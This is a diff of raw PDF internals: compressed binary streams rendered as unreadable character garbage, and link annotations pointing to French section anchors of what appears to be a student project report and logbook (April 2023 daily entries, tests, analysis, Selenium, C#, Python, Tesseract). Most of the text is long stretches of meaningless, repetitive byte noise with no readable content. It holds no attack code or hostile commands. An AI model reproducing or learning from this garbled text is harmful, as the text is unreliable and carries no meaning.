#W;p?ej{'z8pJnOJ)~7O~-zSzBơ&~u3St=^+iz]w/SJk S~"}}oSCPԇT߄P^}8W8S~"ooSPq>P7O ~ui8OH_ߏ)[~uUYqxH_U򠖈p*?8TH_UPypW_ċPyp<)^_8u ᫯S^}]7@zW_?OOyz4_}:᫯_~ʫ_ S^}긟ׁ)~ Oyz}qׅ)~ݸ׃)~o~ S>z~~e_<~>_9 D`?=[_]~lǗ~َroOs>OY>MeϾW0*_ zN|P-P94jNQs7sH5wMu`ј)s43T)'`]u]dFM>T SfvQAӬwb6rUqLvڨ͕ t5Fm\pTijRNU=Ӯ67WfFmU y{]LY[QT.AZBt7^Aњ3v +Қs5*唙6jcYTg8wzu1N踮މj8w7&1jcjs1N/ڼڼJXZ>wCG;QmNs8c8a>{166oiCG;VT50N+L1NxdFmS(>0N]`S:bm`*:UL̩TypƩ~S} SF=Ss]fv`*JQuC%SS>0Nl3p8ف +Tg8ف}ʌS-K:;kS2ũ4<؞8فz?(NuvShqP@{*QSh~P@{TgGqSzIq-:;(NuvG8فvNq\[6t[8<:6׌6q{8}aVlbVlk&(NuvՀ8ف&8ف267Ttv]$h)Nuv@[:;ЎQ@Yũ*ũ>@IgZQ쀲 ũ4Շ6+1Yy?#*R@#@'H:;P#@}:;P>Gفwtv}Gفz#@qhTypLyGف@Igtũ4պgm#n98فũmC=;<#g}sxN޳#ڬρ>{v#g>{v!{vGx6فO)>>or_,QߖH)8+Ɂ_꯿+'_g?5>u]% <|C~s,Ar.{UsV~?RiK +"'ϯh|UUr!ڸ,]Ϭo]z[~C>ӑ} |ѰSY\U_^vڠoC*JQӾ3^8R +endstream endobj 83 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 547.629935 278.795622 557.809134 265.995622 ] -/BS << -/W 0 ->> -/Dest (jdb/:lundi-3-avril) +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 82 0 R +/Resources 4 0 R +/Annots [ 84 0 R 85 0 R 86 0 R 87 0 R 88 0 R 89 0 R 90 0 R 91 0 R 92 0 R 93 0 R 94 0 R 95 0 R 96 0 R 97 0 R 98 0 R 99 0 R 100 0 R 101 0 R 102 0 R 103 0 R 104 0 R 105 0 R 106 0 R 107 0 R 108 0 R 109 0 R 110 0 R 111 0 R 112 0 R 113 0 R 114 0 R 115 0 R 116 0 R 117 0 R 118 0 R 119 0 R 120 0 R 121 0 R 122 0 R 123 0 R 124 0 R 125 0 R 126 0 R 127 0 R 128 0 R 129 0 R 130 0 R 131 0 R 132 0 R 133 0 R 134 0 R 135 0 R 136 0 R 137 0 R 138 0 R 139 0 R 140 0 R 141 0 R 142 0 R 143 0 R 144 0 R 145 0 R 146 0 R 147 0 R 148 0 R 149 0 R 150 0 R 151 0 R 152 0 R 153 0 R 154 0 R 155 0 R 156 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 84 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 265.245622 557.809134 247.135622 ] +/Rect [ 79.386457 771.023622 555.889134 750.353622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-4-avril) +/Dest (.:tt2-tests-finaux-2) >> endobj 85 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 260.685622 72.731593 247.885622 ] +/Rect [ 544.436985 765.503622 555.889134 751.103622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-4-avril) +/Dest (.:tt2-tests-finaux-2) >> endobj 86 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 260.685622 557.809134 247.885622 ] +/Rect [ 55.386457 750.353622 555.889134 729.683622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-4-avril) +/Dest (.:planning-effectif-et-differences) >> endobj 87 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 247.135622 557.809134 229.025622 ] +/Rect [ 55.386457 744.833622 77.060285 730.433622 ] /BS << /W 0 >> -/Dest (jdb/:mercredi-5-avril) +/Dest (.:planning-effectif-et-differences) >> endobj 88 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 242.575622 72.731593 229.775622 ] +/Rect [ 544.436985 744.833622 555.889134 730.433622 ] /BS << /W 0 >> -/Dest (jdb/:mercredi-5-avril) +/Dest (.:planning-effectif-et-differences) >> endobj 89 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 242.575622 557.809134 229.775622 ] +/Rect [ 55.386457 729.683622 555.889134 709.013622 ] /BS << /W 0 >> -/Dest (jdb/:mercredi-5-avril) +/Dest (.:analyse-fonctionnelle) >> endobj 90 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 229.025622 557.809134 210.915622 ] +/Rect [ 55.386457 724.163622 77.060285 709.763622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-6-avril) +/Dest (.:analyse-fonctionnelle) >> endobj 91 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 224.465622 72.731593 211.665622 ] +/Rect [ 544.436985 724.163622 555.889134 709.763622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-6-avril) +/Dest (.:analyse-fonctionnelle) >> endobj 92 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 224.465622 557.809134 211.665622 ] +/Rect [ 55.386457 709.013622 555.889134 688.343622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-6-avril) +/Dest (.:analyse-organique) >> endobj 93 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 210.915622 557.809134 192.805622 ] +/Rect [ 55.386457 703.493622 77.060285 689.093622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-6-avril-2023) +/Dest (.:analyse-organique) >> endobj 94 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 206.355622 72.731593 193.555622 ] +/Rect [ 544.436985 703.493622 555.889134 689.093622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-6-avril-2023) +/Dest (.:analyse-organique) >> endobj 95 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 206.355622 557.809134 193.555622 ] +/Rect [ 63.386457 688.343622 555.889134 667.673622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-6-avril-2023) +/Dest (.:outils-utilises) >> endobj 96 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 192.805622 557.809134 174.695622 ] +/Rect [ 63.386457 682.823622 93.647199 668.423622 ] /BS << /W 0 >> -/Dest (jdb/:vacances) +/Dest (.:outils-utilises) >> endobj 97 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 188.245622 72.731593 175.445622 ] +/Rect [ 544.436985 682.823622 555.889134 668.423622 ] /BS << /W 0 >> -/Dest (jdb/:vacances) +/Dest (.:outils-utilises) >> endobj 98 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 188.245622 557.809134 175.445622 ] +/Rect [ 63.386457 667.673622 555.889134 647.003622 ] /BS << /W 0 >> -/Dest (jdb/:vacances) +/Dest (.:technologies-utilisees) >> endobj 99 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 174.695622 557.809134 156.585622 ] +/Rect [ 63.386457 662.153622 93.647199 647.753622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-24-avril-2023) +/Dest (.:technologies-utilisees) >> endobj 100 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 170.135622 77.821193 157.335622 ] +/Rect [ 544.436985 662.153622 555.889134 647.753622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-24-avril-2023) +/Dest (.:technologies-utilisees) >> endobj 101 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 170.135622 557.809134 157.335622 ] +/Rect [ 71.386457 647.003622 555.889134 626.333622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-24-avril-2023) +/Dest (.:selenium) >> endobj 102 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 156.585622 557.809134 138.475622 ] +/Rect [ 544.436985 641.483622 555.889134 627.083622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-25-avril-2023) +/Dest (.:selenium) >> endobj 103 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 152.025622 77.821193 139.225622 ] +/Rect [ 71.386457 626.333622 555.889134 605.663622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-25-avril-2023) +/Dest (.:csharp) >> endobj 104 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 152.025622 557.809134 139.225622 ] +/Rect [ 544.436985 620.813622 555.889134 606.413622 ] /BS << /W 0 >> -/Dest (jdb/:mardi-25-avril-2023) +/Dest (.:csharp) >> endobj 105 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 138.475622 557.809134 120.365622 ] +/Rect [ 71.386457 605.663622 555.889134 584.993622 ] /BS << /W 0 >> -/Dest (jdb/:26-avril-2023) +/Dest (.:python) >> endobj 106 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 133.915622 77.821193 121.115622 ] +/Rect [ 544.436985 600.143622 555.889134 585.743622 ] /BS << /W 0 >> -/Dest (jdb/:26-avril-2023) +/Dest (.:python) >> endobj 107 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 133.915622 557.809134 121.115622 ] +/Rect [ 71.386457 584.993622 555.889134 564.323622 ] /BS << /W 0 >> -/Dest (jdb/:26-avril-2023) +/Dest (.:firefox) >> endobj 108 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 120.365622 557.809134 102.255622 ] +/Rect [ 544.436985 579.473622 555.889134 565.073622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-27-avril-2023) +/Dest (.:firefox) >> endobj 109 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 115.805622 77.821193 103.005622 ] +/Rect [ 71.386457 564.323622 555.889134 543.653622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-27-avril-2023) +/Dest (.:tesseract) >> endobj 110 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 115.805622 557.809134 103.005622 ] +/Rect [ 544.436985 558.803622 555.889134 544.403622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-27-avril-2023) +/Dest (.:tesseract) >> endobj 111 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 102.255622 557.809134 84.145622 ] +/Rect [ 63.386457 543.653622 555.889134 522.983622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-28-avril-2023) +/Dest (.:fonctionnement-general) >> endobj 112 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 97.695622 77.821193 84.895622 ] +/Rect [ 63.386457 538.133622 93.647199 523.733622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-28-avril-2023) +/Dest (.:fonctionnement-general) >> endobj 113 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 97.695622 557.809134 84.895622 ] +/Rect [ 544.436985 538.133622 555.889134 523.733622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-28-avril-2023) +/Dest (.:fonctionnement-general) >> endobj 114 0 obj << -/Filter /FlateDecode -/Length 33607 +/Type /Annot +/Subtype /Link +/Rect [ 71.386457 522.983622 555.889134 502.313622 ] +/BS << +/W 0 +>> +/Dest (.:les-briques-principales) >> -stream -xMdG=?E(u - -FhaZTfS-`F1OyN$b,zaLfvßn=x4sW25zi<5 1o-gyn+f2疮[̓o5>&d ۵s=E}^`jU-]k8nN|b$S_8^DԘ~]<8kKyn4kک5u8s^i<5>ױWZ<17i<5>k1ϵx;5kSSsi<5>Jz'2{̓^`rk|B3]r=^&t}7W=kvE!-Oʜi<_t}k|jS8yU+WO̓۹=~ʼgU[ǯEgM?Ԙ1xjo:xj|-_xj|W5Z<:ݚS`-os8jZ&5qT25WxVBq<2+]V浧=qnH<-1o۞Yc Vfo|5߽[O>5ֲL{6s|<;Ϛ~xjyf-]kg̓5yV{{5־,:.oL{zg̓&<yht}L -kՖ5L{ҽ=ԞgK{<=سګy=݃=k<#J`Ϛkݿ=~-?jMH`5o[?j)eOG̓DZ_i_W2[9|,S`kt}69=~-U1\05vi<5H{G̓5-_'{fx0:iyIt}~?jj`8ZզQyt}~xspˬX&Sc~!͒y|ԵϏ뺹=&^\tK?j|2^kW?j-^kkǑ>j/\\lgҧL`kkQo{_5#݃jϴǿj\fK`|=U`͂tyg[_5{L`L{G\|_5֯+ƥUU3J_5֪W̓ǯL\xj,J{ZvyO>5O.{k?'׷7Aǰc_>]R^ÿt;\5Y߿z/Z?˿;77ӿǟy }FFoSszy۷g\3֏|?w<8,; 㻸; %tJ,Y: %tJ,Y: %tJ,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y: 7tn,Y9,YpCgB,YpCgB,YpCgB,YpCgB,YpCgB,YpCgafvn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgafvn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgafvn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,YpCgafvn,YpCgftn,YpCgftn,YpCgftn,YpCgftn,t>C XiQZKw_6xFi)?-K\G}kOG2=~|wiB J #PBiB J #PBiB J #pCi J 5pCi J 5pCi J 5pCi J 5J 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZ9(-PZpCiB(-PZpCiB(-PZpCiB(-PZpCiB(-PZpCiB(-PZpCi,-PZpCiB(-PZpCiB(-PZpCiB(-PZpCiBAi J 7jFi٥J 7jFi· J 5pCi J 5pCi J 5pCi YZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi YZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi YZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi QZpCi YZpCi QZpCi QZpCi QZpCi QZ0 /q_ZYZ|⯿QZ|zwi -gxoq}{l]u~x AOu3j:,g|~J3Pg(02 %J3Pg(02 %J3Pg(02 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3Pg03 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3Pg03 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7nή3PgP3 7n-ou 7jF:u 7jF:u 7jF:u 3pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5/ 7n3Pg03 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgPpC: u 3pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5pC: u 5/ 7n3Pg03 7n3PgP3 7n3PgP3 7n3PgP3 7n3PgP3 7f~qA:Vg<Ϗm_ /~Ygo]g -cq~/6ty>Wb CitizO*-֭~x>x҂>B J %FFiB J %FFiB J %Ffi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7ffi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7ffi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 7jFi J 3pCi J 5pCi J 5pCi J 5pCi J 5pCi J 5pCi J 5pCi J 5pCi J 5pCi J 5pCi J 3pCi J 5pCi J 5pCi J 5pCi gjFi J 7.-Ԍ J 7n]ZJ 7n(-ܬ/|+-Ԍ J 7n]ZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 7n(-PZJ 38:BVZU,-^Z@Sϸxk1Kӥc}[P?>=g3Ϭi5۾JE?]T&~)YsVmnN5=)Y=,%kn*Y=kd *jupך /{IPWFւ`Zxz{x|/=>3k1Pus^Z lwDfyC@4{z5u^Bb`nWx%k1oEkÛƼ05k1ט-{qYfZkCn8֘k^cq]8֘k|1_&YcZkmKŹ<8ט#_7k̯ǕƼ&ZY}az-ִwܮ3kޫhKŚJz-wsƼmZZ71ܬ1+k+˙^5+)KfxqXSҙ`xvYc>[z-,xD 5y17ŵ"ŶzPr|=Zlk<+ۚd֘4T͚ƼujiPHm̓HŚk֫ۚ9W5WZnk|ܶ^ݮ #y̓Ab̓;9W5X`zu[`Jzu[`m45[5W5֢6W5;X`-&zu[`Mriy.iy.@iy~c9n'xGgio?i@]^<=y̓֫Zk|<iy|kO}̓;vX-W5Xuzu_u~L}̓׶ik*^5^;(k=W5^#W5ִ֫㸧1y:^o-W~+)ﯮxL~+)ﯮx\c~+)ﯮxdіi2G+zu#AJWW}h6_]H1WWxڏoх.ttᤣ %DN:pх.ttIGN:pх.".". E0]E0]х`:`: 7DttLGttLGn.".".]E0]E0]!`:`:pCtLGttLGtt".". E0]E0]х]E0]E0]!`:`:pCtLGttLGtt".". E0]E0]х`:`: 7DttLGttLGn.".".]E0]E0]!`:`:P3`:`: 7DttLGttLGn.".".]E0]E0]!`:`:pCtLGttLGtt".". E0]E0]х`:`: 7DttLGttfDttLGttLGn]E0]E0]!`:`:pCtLGttLGtt".". E0]E0]х`:`: 7DttLGttLGn.".".]E0]E0]E0]E0]х{GttLGttLGn.".".]E0]E0]!`:`:pCtLGttLGtt".". E0]E0]х`:`: 7DttLGttLGjFtLGttLGttE0]E0]х`:`: 7DttLGttLGn.".".]E0]E0]!`:`:pCtLGttLGtt".". E0]E0]х]E0]E0]wtLGttLGtt".". E0]E0]х`:P -ԃ/DbZ)]||.]|~wtqXN_.ϡof}׿ܗy?aF=~e^<%ͧ2?, %J(3Pfe %J(3Pfe %J(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(3Pfe 7n(32 e 7n(3)3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2,3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2,3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2,3PfpC2C(3PfpC2C(3PfpC2C(3PfpC2C(3Pfy}4o2^}-\Vfw_6ˌG.3>=[*3/N5ƺ{{'6j Tcx+{k %J1Pc5j %J1Pc5j %J1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1Pc5j 7n1 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5j 7n1Ԍ 5_a!|u5n-o;k/~5ƕkO1^XkMVv[gm,|Vze|ZO,xx>x _=ܕ* %TJ,B * %TJ,B * %TJ,Ge * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7Tffe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7Tffe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 7TjFe * 3pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 3pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 3pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 5pCe * 3pCe * 5pCe * 5pCe * 5pCe * 5pCeaOs*_Xeq%uղK;+/~3Wm}q*?q|+-SԂz}nz|zg_=p1)tLIN:p1)S8IN:p1S1E0S1E0S!c`:c`:pCLLtLLtLᆘ")") 1E0S1E0S1b`:c`:c -7tLLtLLn)")")S1E0S1E0S!c`:c`:P3b`:c`:c -7tLLtLLn)")")S1E0S1E0S!c`:c`:pCLLtLLtLᆘ")") 1E0S1E0S1b`:c`:c -7tLLtLLjFLLtLLtLᆘ")") 1E0S1E0S1b`:c`:c -7tLLtLLn)")")S1E0S1E0S!c`:c`:pCLLtLLtLᆘ")")Ԍ")") 1E0S1E0S1b`:c`:c -7tLLtLLn)")")S1E0S1E0S!c`:c`:pCLLtLLtLᆘ")") 1E0S1E0S1S1E0S1E0S!c`:c`:pCLLtLLtLᆘ")") 1E0S1E0S1b`:c`:c -7tLLtLLn)")")S1E0S1E0S!c`:c`:P3b`:c`:c -7tLLtLLn)")")S1E0S1E0S!c`:c`:pCLLtLLtLᆘ")") 1E0S1E0S1b`:c`:c -7tLLtLLjFLLtLLtLᆘ")") 1E0S1E0S1b`:c`:c -7tLGi_)~Q11Fm/S||)^1l_og2S痏X7]|**xSQY?|kJ(*\]T(02 -%J(*\]T(02 -%J(*\]T(02 -7n(*\]TP3 -7n(*\]TP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PT03 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PTP3 -7n(*PT03 -7n(*PTP3 -7n(*PTP3 -7n(*PTPSTpCQᆢ EQTpCQᆢ EQTpCQᆢ EQTpCQᆢ EQTpCQᆢ EQTpCQᆢ EQTpCQᆢ,*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢ,*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢ,*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢ,*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PTpCQᆢB(*PT9}ooRQYT||/*O϶u}$**^緿__ +AVO}{x>xǷ_ma -%J+B a -%J+B a -%J+̰ a -7n+Ԍ a -7n+Ԍ a -7n+n+V!pCXfn+V!pCXfn+V!pCXfn+V!pCXfn+V!pCXfn+V!pCXfn+V!pCXafn+V!pCXfn+V!pCXfn+V!pCXf'pCXᆰ a -5#pCXᆰ a -5#pCXᆰ a -5#pCXᆰ a -5#pCXᆰ a -5#pCXᆰ a -5#pCXᆰ a -33pCXᆰ a -5#pCXᆰ a -5#pCXᆰ a -5;a -7n+Va -7n+Va -7n+Va -7n+Va -7n+Va -7n+Va -7n+̰ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+̰ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+̰ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+̰ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a -7n+Ԍ a_G'|!u5֚eoV||+5-9~-jy2Sß*52~|w -C * #PB -C * #PB -C * #pC - * 5pC - * 5pC - * 5pC - * 5pC - * 5pC - * 5pC - * 5pC - * 5pC - * 5pC - * 3pC - * 5pC - * 5pC - * 5pC - * 5pC - * 5pCv3* 7TjF - * 7TjF - * 7TjF - * 7TjF - * 7Tff - * 7TjF - * 70Ԍ - * 7Tn^]a* 7Tn0ܼP3* 7Tn0PayufTn0PapCfTn0PapCfTn0PapCfTn0PapCfTn0Pa03+ 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0Pa03+ 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0Pa03+ 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0Pa03+ 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tn0PaP3* 7Tf~qvA -VaeZ ׯU0mWƧgKP{eqNhf1ǧ| ']`8IJ(0t ']`8C .0t ']`(F0]`F0]` -` ` 7tLtLn(0#.0#.0P`F0]`F0]` ` `pCLtLt#.0#.0 F0]`F0]` -` ` 5 ` `pCLtLt#.0#.0 F0]`F0]` -` ` 7tLtLn(0#.0#.0P`F0]`F0]` ` `pCLtLtftLt{#.0#.0y}/0P`F0]`F0 -` `pCLtLn(0ٿtLt#{LtLn(0ٿtLt#{LtLn(0Y_xtLjFLtLt#.0#.0 F0]`F0]` -` ` 7tLtLn(0#.0#.0P`F0]`F0]` ` `pCLtLt#.0#.0C(0#.0#.0P`F0]`F0]` ` `pCLtLt#.0#.0 F0]`F0]` -` ` 7tLtLn(0#.0#.0P`F0]`F0]`F0]`F0]` -` ` 7tLtLn(0#.0#.0P`F0]`F0]` ` `pCLtLt#.0#.0 F0]`F0]` -` ` 5 ` `pCLtLt#.0#.0 F0]`F0]` -`Pc_(0~aU~-֗ -,0mRaO_뇾ar&X^k5VϷSO5)xx>xǚ^B 5j -%FFMB 5j -%FFMB 5j -%FfMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7ffMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7ffMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMᆚ 5j -7jFMf 5j -7jFMf 5j -7jFMf 5j -7jFMf 5j -7jFMf([Mᆚ 5YSpCMᆚ 5QSpCMᆚ 5QSpCMᆚ 5QSpCMᆚ 5QSpCMᆚͳk -5pCMᆚ 5o5QSpCMᆚͳk -5pCMᆚ 5gjFMᆚ 5j -7Ϯ)Ԍ 5j -7n)̚ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)̚ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)Ԍ 5j -7n)̚ 5j -7n)Ԍ 5j 